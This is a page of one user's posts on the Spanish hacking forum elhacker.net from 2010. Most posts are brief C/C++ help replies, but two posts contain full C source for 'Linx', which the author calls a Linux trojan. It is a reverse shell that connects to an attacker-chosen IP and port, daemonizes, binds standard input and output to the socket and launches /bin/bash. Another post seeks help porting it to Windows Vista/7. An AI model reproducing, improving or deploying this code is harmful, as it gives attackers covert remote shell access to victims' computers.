elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 ... 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 [111] 112 113 114 115 116 117 118 119 120 121 122 123 124 125
1101  Programación / Programación C/C++ / [C] [!!! HELP !!!] ¿Troyanos en Windows Vista / 7? ¿Que cambia? [SIN RESOLVER] en: 20 Diciembre 2010, 19:57 pm
Buenas, el otro dia me puse a pasar "Linx" a Windows Vista, para mas utilidad... Ya me entienden.
El caso es que al abrir no funciona correctamente... Podrian postear el fallo por favor?
Que falla para que no corra?

Espero respuestas. Gracias por adelantado!

PD: Code abajo...
1102  Programación / Programación C/C++ / Re: Ayuda fltk (abrir imagenes) en: 19 Diciembre 2010, 15:55 pm
y por que esa web tiene que estar correctamente? A lo mejor te falta una libreria que no tienes instalada, o te has instalado una dañada o que no incluye esa funcion >:D
1103  Programación / Programación C/C++ / Re: [C] Linux Trojan & dup2 () en: 19 Diciembre 2010, 14:57 pm
Finish! Bueno, no del todo, version 0.2 xD:
Código
  1. #include <time.h>
  2.  
  3. #include <stdio.h>
  4.  
  5. #include <stdlib.h>
  6.  
  7. #include <string.h>
  8.  
  9. #include <sys/socket.h>
  10.  
  11. #include <arpa/inet.h>
  12.  
  13.  
  14.  
  15. struct sockaddr_in host;
  16.  
  17. int sockfd;
  18.  
  19.  
  20.  
  21. int sell ()
  22.  
  23. {
  24.  
  25. close(0);
  26.  
  27. close(1);
  28.  
  29. close(2);
  30.  
  31.  
  32.  
  33. dup2(sockfd, 0);
  34.  
  35. dup2(sockfd, 1);
  36.  
  37. dup2(sockfd, 2);
  38.  
  39.  
  40.  
  41. execve("/bin/bash", NULL, NULL);
  42.  
  43. return 0;
  44.  
  45. }
  46.  
  47.  
  48.  
  49. int main (int argc, char *argv [])
  50.  
  51. {
  52.  
  53. time_t now=time (0);
  54.  
  55. struct tm *ahora;
  56.  
  57. char hora [40];
  58.  
  59. ahora=localtime ((const time_t*)&now);
  60.  
  61. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  62.  
  63. printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora); //Esto escribira la presentacion.
  64.  
  65.  
  66.  
  67. if (argc == 3)
  68.  
  69. {
  70.  
  71. host.sin_addr.s_addr = inet_addr (argv [1]);
  72.  
  73. host.sin_port = htons (atoi (argv [2]));
  74.  
  75. host.sin_family = AF_INET;
  76.  
  77. memset (host.sin_zero, 0, 8);
  78.  
  79. }
  80.  
  81. else
  82.  
  83. {
  84.  
  85. host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
  86.  
  87. host.sin_port = htons (31337);
  88.  
  89. host.sin_family = AF_INET;
  90.  
  91. memset (host.sin_zero, 0, 8);
  92.  
  93. }
  94.  
  95.  
  96.  
  97. printf ("Iniciando...\t");
  98.  
  99. sockfd = socket (2, 1, 0);
  100.  
  101. if (sockfd != -1)
  102. {
  103.  
  104. printf ("[OK]\n");
  105. }
  106.  
  107. else
  108.  
  109. {
  110.  
  111. printf ("[FAIL]\n\n");
  112.  
  113. return 1;
  114.  
  115. }
  116.  
  117.  
  118.  
  119. printf ("Conectando...\t");
  120.  
  121. while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
  122. sleep (1);
  123.  
  124.  
  125. printf ("[OK]\n");
  126.  
  127. daemon (1, 0);
  128.  
  129.  
  130.  
  131. printf ("Lanzando sell...\t");
  132.  
  133. if (sell ()==-1)
  134.  
  135. {
  136.  
  137. close (sockfd);
  138.  
  139. printf ("[FAIL]\n\n");
  140.  
  141. return 1;
  142.  
  143. }
  144.  
  145. printf ("[OK]\n");
  146.  
  147. close (sockfd);
  148.  
  149. return 0;
  150.  
  151. }
  152.  
  153.  

Ahora lo que falla es que "Conectando..." no se escribe hasta que no se conecta...Como lo puedo arreglar?

Me podrian ayudar
1104  Programación / Programación C/C++ / Re: crear aplicaciones visuales con c en: 19 Diciembre 2010, 14:56 pm
No se si hay librerias estandar para graficos, o no conozco ninguna...
Googlea y descarga...
1105  Programación / Programación C/C++ / Re: Ayuda fltk (abrir imagenes) en: 19 Diciembre 2010, 14:55 pm
Eso significa que no se encuentra algo. Puede ser porque lo hayas escrito mal, porque no exista (no este declarado), etc.
1106  Programación / Programación C/C++ / Re: Problemas con Bison en C++ en: 19 Diciembre 2010, 14:54 pm
%union //MAL. No es asi...

Luego tienes que decir que tipo es matrix, etc...
1107  Programación / Programación C/C++ / Re: imagen en: 19 Diciembre 2010, 14:52 pm
Buscador elhacker.net!
El otro dia vi algo parecido, mira y encontraras, pero no busques donde no hay...
1108  Programación / Programación C/C++ / Re: [C] Linux Trojan & dup2 () en: 18 Diciembre 2010, 17:32 pm
Viendo que se puede... Gracias por los consejos, ahora me pongo...
PD: Ahora modifico con el code...
1109  Programación / Programación C/C++ / [C] Linux Trojan & dup2 () en: 18 Diciembre 2010, 15:55 pm
Terminado y corregido... El problema era que se me olvido cerrar los descriptores estandar...
Corrigiendo code...
Recuerdo que no esta terminado. Posteen mejoras, etc..

Código
  1. #include <time.h>
  2.  
  3. #include <stdio.h>
  4.  
  5. #include <stdlib.h>
  6.  
  7. #include <string.h>
  8.  
  9. #include <sys/socket.h>
  10.  
  11. #include <arpa/inet.h>
  12.  
  13.  
  14.  
  15. struct sockaddr_in host;
  16.  
  17. int sockfd;
  18.  
  19.  
  20.  
  21. int execsock (int socket, char program [])
  22.  
  23. {
  24.  
  25. close(0);
  26.  
  27. close(1);
  28.  
  29. close(2);
  30.  
  31.  
  32.  
  33. dup2(socket, 0);
  34.  
  35. dup2(socket, 1);
  36.  
  37. dup2(socket, 2);
  38.  
  39.  
  40.  
  41. execve(program, NULL, NULL);
  42.  
  43. return 0;
  44.  
  45. }
  46.  
  47.  
  48.  
  49. int main (int argc, char *argv [])
  50.  
  51. {
  52.  
  53. time_t now=time (0);
  54.  
  55. struct tm *ahora;
  56.  
  57. char hora [40];
  58.  
  59. ahora=localtime ((const time_t*)&now);
  60.  
  61. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  62.  
  63. printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora);
  64.  
  65.  
  66.  
  67. if (argc == 3)
  68.  
  69. {
  70.  
  71. host.sin_addr.s_addr = inet_addr (argv [1]);
  72.  
  73. host.sin_port = htons (atoi (argv [2]));
  74.  
  75. host.sin_family = AF_INET;
  76.  
  77. memset (host.sin_zero, 0, 8);
  78.  
  79. }
  80.  
  81. else
  82.  
  83. {
  84.  
  85. host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
  86.  
  87. host.sin_port = htons (31337);
  88.  
  89. host.sin_family = AF_INET;
  90.  
  91. memset (host.sin_zero, 0, 8);
  92.  
  93. }
  94.  
  95.  
  96.  
  97. printf ("Iniciando...\t");
  98.  
  99. sockfd = socket (2, 1, 0);
  100.  
  101. if (sockfd != -1)
  102. {
  103.  
  104. printf ("[OK]\nConectando...\t\a");
  105. }
  106.  
  107. else
  108.  
  109. {
  110.  
  111. printf ("[FAIL]\n\n");
  112.  
  113. return 1;
  114.  
  115. }
  116.  
  117.  
  118. while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
  119. sleep (1);
  120.  
  121. printf ("[OK]\nLanzando sell...\t[OK]");
  122. daemon (1, 0);
  123.  
  124. execsock (sockfd, "/bin/bash");
  125.  
  126. close (sockfd);
  127.  
  128. return 0;
  129.  
  130. }
  131.  
  132.  

Ahora, el problema esta en que al compilar y correr, no me escribe correctamente lo que le digo: Atencion aqui:
Código
  1. printf ("[OK]\nConectando...\t\a");
Linea sencilla no? Pues no me postea lo de "Conectando" hasta que alguien no se conecta, o sea, la sigiente liena...
1110  Programación / Programación C/C++ / Re: ayuda con una practica! en: 16 Diciembre 2010, 18:53 pm
Bueno, no lo he compilado, tmb por prisas, pero tu code no es correcto, digamos. Veo fallos lógicos, se podría reducir, etc...
K error da?
Páginas: 1 ... 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 [111] 112 113 114 115 116 117 118 119 120 121 122 123 124 125
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines